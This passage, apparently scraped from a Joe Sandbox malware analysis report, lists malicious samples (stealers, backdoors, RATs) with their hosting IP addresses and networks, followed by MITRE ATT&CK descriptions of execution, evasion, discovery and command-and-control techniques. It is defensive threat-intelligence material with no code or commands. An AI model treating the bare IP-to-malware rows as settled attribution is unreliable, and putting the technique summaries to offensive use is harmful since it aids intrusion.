	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	77.238.224.56
VTSL1-ASRU	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.73.198
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	91.142.73.198
	heic.exe	Get hash	malicious	GO Backdoor	Browse	91.142.74.28
	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	91.142.74.28
TELERU-ASRU	QTmGYKK6SL.exe	Get hash	malicious	Unknown	Browse	77.238.224.125
	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	77.238.224.56
	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	77.238.224.56
VDSINA-ASRU	mips.elf	Get hash	malicious	Unknown	Browse	94.103.91.233
	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	195.2.70.38
	BFDFC7BDB3890683E8D3B5F3D9CAE5048DE3CBEDEBF223E4B9B732B096917BEB.exe	Get hash	malicious	Bdaejec, Panda Stealer, Phoenix Stealer	Browse	95.142.46.35
	kz7iLmqRuq.exe	Get hash	malicious	Quasar	Browse	195.2.76.207
	GN03tfEgsB.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	178.208.86.27
	file.dll	Get hash	malicious	Unknown	Browse	62.113.116.83
	file.dll	Get hash	malicious	Unknown	Browse	195.2.70.38
	file.dll	Get hash	malicious	Unknown	Browse	195.2.70.38
	file.dll	Get hash	malicious	Unknown	Browse	195.2.70.38
	file.dll	Get hash	malicious	Unknown	Browse	62.113.116.83

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Function 003C0250 Relevance: 1.5, APIs: 1, Instructions: 21
fileCOMMON